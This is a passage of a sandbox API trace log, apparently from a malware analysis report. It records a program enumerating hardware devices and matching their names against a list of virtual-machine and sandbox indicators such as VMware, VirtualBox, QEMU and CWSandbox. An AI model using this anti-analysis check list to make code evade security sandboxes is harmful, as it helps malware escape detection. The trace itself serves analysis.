RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef9f0 [0277.523] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Replay") returned 0x0 [0277.523] lstrlenA (lpString="VMware Replay") returned 13 [0277.523] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.523] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef940 [0277.523] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware server memory") returned 0x0 [0277.523] lstrlenA (lpString="VMware server memory") returned 20 [0277.524] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0277.524] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efae0 [0277.524] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="CWSandbox") returned 0x0 [0277.524] lstrlenA (lpString="CWSandbox") returned 9 [0277.524] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.524] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efac8 [0277.524] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Virtual HD") returned 0x0 [0277.524] lstrlenA (lpString="Virtual HD") returned 10 [0277.524] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.524] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef838 [0277.524] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="QEMU") returned 0x0 [0277.524] lstrlenA (lpString="QEMU") returned 4 [0277.524] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef838 | out: hHeap=0x2670000) returned 1 [0277.524] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efae0 [0277.524] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.524] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.524] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.524] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efba0 [0277.524] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="srootkit") returned 0x0 [0277.524] lstrlenA (lpString="srootkit") returned 8 [0277.525] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0277.525] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efac8 [0277.525] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware VMaudio") returned 0x0 [0277.525] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.525] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.525] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb58 [0277.525] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Vista") returned 0x0 [0277.525] lstrlenA (lpString="VMware Vista") returned 12 [0277.525] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.525] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa68 [0277.525] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxVideo") returned 0x0 [0277.525] lstrlenA (lpString="VBoxVideo") returned 9 [0277.525] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0277.525] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efab0 [0277.525] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxGuest") returned 0x0 [0277.525] lstrlenA (lpString="VBoxGuest") returned 9 [0277.525] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0277.525] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.525] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.526] GetLastError () returned 0x7a [0277.526] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef908 [0277.526] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.526] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef858 [0277.526] StrStrIA (lpFirst="storahci", lpSrch="vmxnet") returned 0x0 [0277.526] lstrlenA (lpString="vmxnet") returned 6 [0277.527] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0277.527] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef888 [0277.527] StrStrIA (lpFirst="storahci", lpSrch="vmscsi") returned 0x0 [0277.527] lstrlenA (lpString="vmscsi") returned 6 [0277.527] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0277.527] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef738 [0277.527] StrStrIA (lpFirst="storahci", lpSrch="VMAUDIO") returned 0x0 [0277.527] lstrlenA (lpString="VMAUDIO") returned 7 [0277.527] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef738 | out: hHeap=0x2670000) returned 1 [0277.527] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8a8 [0277.527] StrStrIA (lpFirst="storahci", lpSrch="vmdebug") returned 0x0 [0277.527] lstrlenA (lpString="vmdebug") returned 7 [0277.527] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8a8 | out: hHeap=0x2670000) returned 1 [0277.527] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8b8 [0277.527] StrStrIA (lpFirst="storahci", lpSrch="vm3dmp") returned 0x0 [0277.527] lstrlenA (lpString="vm3dmp") returned 6 [0277.527] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8b8 | out: hHeap=0x2670000) returned 1 [0277.527] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efba0 [0277.528] StrStrIA (lpFirst="storahci", lpSrch="vmrawdsk") returned 0x0 [0277.528] lstrlenA (lpString="vmrawdsk") returned 8 [0277.528] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0277.528] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0277.528] StrStrIA (lpFirst="storahci", lpSrch="vmx_svga") returned 0x0 [0277.528] lstrlenA (lpString="vmx_svga") returned 8 [0277.528] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.528] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7b8 [0277.528] StrStrIA (lpFirst="storahci", lpSrch="ansfltr") returned 0x0 [0277.528] lstrlenA (lpString="ansfltr") returned 7 [0277.528] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7b8 | out: hHeap=0x2670000) returned 1 [0277.528] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8f8 [0277.528] StrStrIA (lpFirst="storahci", lpSrch="sbtisht") returned 0x0 [0277.528] lstrlenA (lpString="sbtisht") returned 7 [0277.528] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8f8 | out: hHeap=0x2670000) returned 1 [0277.528] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.528] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x7, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.529] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.616] GetLastError () returned 0x7a [0277.616] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x2a) returned 0x26ef908 [0277.616] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x15, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.706] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efaf8 [0277.706] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Pointing") returned 0x0 [0277.706] lstrlenA (lpString="VMware Pointing") returned 15 [0277.707] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0277.707] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef940 [0277.707] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Accelerated") returned 0x0 [0277.707] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.707] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0277.707] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0277.707] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SCSI") returned 0x0 [0277.707] lstrlenA (lpString="VMware SCSI") returned 11 [0277.707] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.707] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa08 [0277.707] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SVGA") returned 0x0 [0277.707] lstrlenA (lpString="VMware SVGA") returned 11 [0277.707] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.707] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa80 [0277.707] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Replay") returned 0x0 [0277.707] lstrlenA (lpString="VMware Replay") returned 13 [0277.707] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.707] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef940 [0277.707] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware server memory") returned 0x0 [0277.707] lstrlenA (lpString="VMware server memory") returned 20 [0277.707] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0277.707] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0277.707] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="CWSandbox") returned 0x0 [0277.707] lstrlenA (lpString="CWSandbox") returned 9 [0277.707] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0277.707] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efac8 [0277.707] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Virtual HD") returned 0x0 [0277.707] lstrlenA (lpString="Virtual HD") returned 10 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.708] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef858 [0277.708] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="QEMU") returned 0x0 [0277.708] lstrlenA (lpString="QEMU") returned 4 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0277.708] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa80 [0277.708] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.708] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.708] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb28 [0277.708] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="srootkit") returned 0x0 [0277.708] lstrlenA (lpString="srootkit") returned 8 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.708] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efac8 [0277.708] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware VMaudio") returned 0x0 [0277.708] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.708] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efab0 [0277.708] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Vista") returned 0x0 [0277.708] lstrlenA (lpString="VMware Vista") returned 12 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0277.708] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0277.708] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxVideo") returned 0x0 [0277.708] lstrlenA (lpString="VBoxVideo") returned 9 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0277.708] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efac8 [0277.708] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxGuest") returned 0x0 [0277.708] lstrlenA (lpString="VBoxGuest") returned 9 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.708] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.708] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.709] GetLastError () returned 0x7a [0277.709] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef908 [0277.709] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.709] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef848 [0277.709] StrStrIA (lpFirst="storahci", lpSrch="vmxnet") returned 0x0 [0277.709] lstrlenA (lpString="vmxnet") returned 6 [0277.709] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef848 | out: hHeap=0x2670000) returned 1 [0277.709] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8d8 [0277.709] StrStrIA (lpFirst="storahci", lpSrch="vmscsi") returned 0x0 [0277.709] lstrlenA (lpString="vmscsi") returned 6 [0277.709] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8d8 | out: hHeap=0x2670000) returned 1 [0277.709] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef888 [0277.710] StrStrIA (lpFirst="storahci", lpSrch="VMAUDIO") returned 0x0 [0277.710] lstrlenA (lpString="VMAUDIO") returned 7 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0277.710] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef898 [0277.710] StrStrIA (lpFirst="storahci", lpSrch="vmdebug") returned 0x0 [0277.710] lstrlenA (lpString="vmdebug") returned 7 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0277.710] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef828 [0277.710] StrStrIA (lpFirst="storahci", lpSrch="vm3dmp") returned 0x0 [0277.710] lstrlenA (lpString="vm3dmp") returned 6 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0277.710] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa38 [0277.710] StrStrIA (lpFirst="storahci", lpSrch="vmrawdsk") returned 0x0 [0277.710] lstrlenA (lpString="vmrawdsk") returned 8 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0277.710] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0277.710] StrStrIA (lpFirst="storahci", lpSrch="vmx_svga") returned 0x0 [0277.710] lstrlenA (lpString="vmx_svga") returned 8 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.710] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef828 [0277.710] StrStrIA (lpFirst="storahci", lpSrch="ansfltr") returned 0x0 [0277.710] lstrlenA (lpString="ansfltr") returned 7 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0277.710] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7f8 [0277.710] StrStrIA (lpFirst="storahci", lpSrch="sbtisht") returned 0x0 [0277.710] lstrlenA (lpString="sbtisht") returned 7 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0277.710] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.710] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x8, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.710] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.717] GetLastError () returned 0x7a [0277.717] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x32) returned 0x26ef908 [0277.717] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x19, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.723] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb70 [0277.723] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Pointing") returned 0x0 [0277.723] lstrlenA (lpString="VMware Pointing") returned 15 [0277.723] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0277.723] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef948 [0277.723] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Accelerated") returned 0x0 [0277.723] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.723] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0277.723] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb28 [0277.723] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SCSI") returned 0x0 [0277.723] lstrlenA (lpString="VMware SCSI") returned 11 [0277.723] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.723] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0277.723] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SVGA") returned 0x0 [0277.723] lstrlenA (lpString="VMware SVGA") returned 11 [0277.724] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.724] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb28 [0277.724] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Replay") returned 0x0 [0277.724] lstrlenA (lpString="VMware Replay") returned 13 [0277.724] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.724] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef948 [0277.724] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware server memory") returned 0x0 [0277.724] lstrlenA (lpString="VMware server memory") returned 20 [0277.724] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0277.724] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa98 [0277.724] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="CWSandbox") returned 0x0 [0277.724] lstrlenA (lpString="CWSandbox") returned 9 [0277.724] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0277.724] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa80 [0277.724] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Virtual HD") returned 0x0 [0277.724] lstrlenA (lpString="Virtual HD") returned 10 [0277.724] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.724] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef898 [0277.724] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="QEMU") returned 0x0 [0277.724] lstrlenA (lpString="QEMU") returned 4 [0277.724] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0277.724] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efbb8 [0277.724] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.724] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.724] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0277.724] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb10 [0277.724] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="srootkit") returned 0x0 [0277.724] lstrlenA (lpString="srootkit") returned 8 [0277.725] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0277.725] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef9f0 [0277.725] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware VMaudio") returned 0x0 [0277.725] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.725] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.725] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef9f0 [0277.725] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Vista") returned 0x0 [0277.725] lstrlenA (lpString="VMware Vista") returned 12 [0277.725] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.725] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb28 [0277.725] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxVideo") returned 0x0 [0277.725] lstrlenA (lpString="VBoxVideo") returned 9 [0277.725] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.725] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa80 [0277.725] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxGuest") returned 0x0 [0277.725] lstrlenA (lpString="VBoxGuest") returned 9 [0277.725] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.725] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.725] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.725] GetLastError () returned 0x7a [0277.725] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1a) returned 0x26ef908 [0277.726] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.726] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef848 [0277.726] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmxnet") returned 0x0 [0277.726] lstrlenA (lpString="vmxnet") returned 6 [0277.726] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef848 | out: hHeap=0x2670000) returned 1 [0277.726] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef858 [0277.726] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmscsi") returned 0x0 [0277.726] lstrlenA (lpString="vmscsi") returned 6 [0277.726] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0277.726] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef868 [0277.726] 